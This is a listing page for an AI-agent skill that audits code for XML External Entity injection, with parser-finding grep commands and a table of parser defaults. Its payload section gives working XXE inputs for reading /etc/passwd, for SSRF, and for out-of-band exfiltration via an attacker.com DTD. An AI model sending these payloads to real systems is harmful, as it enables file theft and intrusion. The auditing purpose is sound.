XXE Detection

SkillFiles & storage

Detect XML External Entity injection where XML parsers process untrusted input with external entity loading enabled, allowing file read or SSRF.

Use XXE Detection in Claude, ChatGPT or Ahel Desktop

Free. Sign in, add XXE Detection and connect your AI. About a minute.

Also: Claude Code · Cursor · Codex

Then ask your AI: use the XXE Detection skill

Details

Instructions available. Your AI can read the instructions. Execution depends on the setup they require.

Add Ahel to your AI once: Claude, ChatGPT, Cursor, Claude Code or Codex. Then ask it to use this.

XXE DetectionStart free

What this skill tells your AI

The instructions your AI receives, as published by byamb4/find-cve-agent in skills/xxe/SKILL.md and read by Ahel’s review.

When to Use

Audit XML processing endpoints, SOAP services, document importers (DOCX/XLSX/SVG), and any code that parses XML from untrusted sources.

Key Distinction from Entity Expansion

  • XXE = EXTERNAL entities (file://, http://) -- reads files or makes HTTP requests
  • Entity expansion = INTERNAL entity recursion (Billion Laughs) -- memory exhaustion DoS

Both can exist in the same parser, but they are different vulnerabilities.

Process

Step 1: Find XML Parsers

# JavaScript
grep -rn "DOMParser\|XMLParser\|xml2js\|libxmljs\|xmldom\|sax\|saxes" .

# Python
grep -rn "xml\.etree\|lxml\|minidom\|xml\.sax\|defusedxml\|xmltodict" .

# Go
grep -rn "xml\.Decoder\|xml\.Unmarshal\|encoding/xml" .

# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|TransformerFactory\|SchemaFactory" .

# PHP
grep -rn "simplexml\|DOMDocument\|XMLReader\|xml_parse" .

# Ruby
grep -rn "Nokogiri\|REXML\|Ox\|LibXML" .

Step 2: Check External Entity Configuration

grep -rn "FEATURE_SECURE_PROCESSING\|FEATURE_EXTERNAL_ENTITIES\|FEATURE_GENERAL_ENTITIES" .
grep -rn "resolve_entities\|external_entities\|load_external\|noent\|nonet" .
grep -rn "disallow-doctype-decl\|external-general-entities\|external-parameter-entities" .
grep -rn "XXE\|external.*entity\|doctype" .

Step 3: Check Default Safety

Most modern parsers are SAFE by default. Key exceptions:

ParserDefault External EntitiesSafe?
xml.etree (Python)EnabledUNSAFE
xml.sax (Python)EnabledUNSAFE
lxml (Python)DisabledSAFE
defusedxml (Python)DisabledSAFE
encoding/xml (Go)No entity supportSAFE
Nokogiri (Ruby)DisabledSAFE
REXML (Ruby)EnabledUNSAFE
libxml2 (C)Depends on flagsCHECK
Java DocumentBuilderEnabledUNSAFE
PHP simplexmlDepends on libxml2 configCHECK
PHP DOMDocumentDepends on libxml2 configCHECK

Step 4: Verify User Input Reaches Parser

Does untrusted XML reach the parser? Common sources:

  • File upload (XML, SVG, DOCX, XLSX)
  • API request body (Content-Type: application/xml)
  • Webhook payloads
  • RSS/Atom feed processing
  • SOAP requests

XXE Payloads

File Read

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/api/secret">
]>
<root>&xxe;</root>

Blind XXE (Out-of-Band)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>test</root>

CVSS Guidance

  • File read (unauthenticated): HIGH 7.5
  • SSRF via XXE: HIGH 7.5-8.6
  • Blind XXE with OOB data exfiltration: HIGH 7.5
  • Authenticated XXE: MEDIUM 6.5

References

Signals

GitHub stars
53
Forks
10
Last commit
Mar 2026
Advanced
Item type
skill
Key
xxe-byamb4
Source
github.com/byamb4/find-cve-agent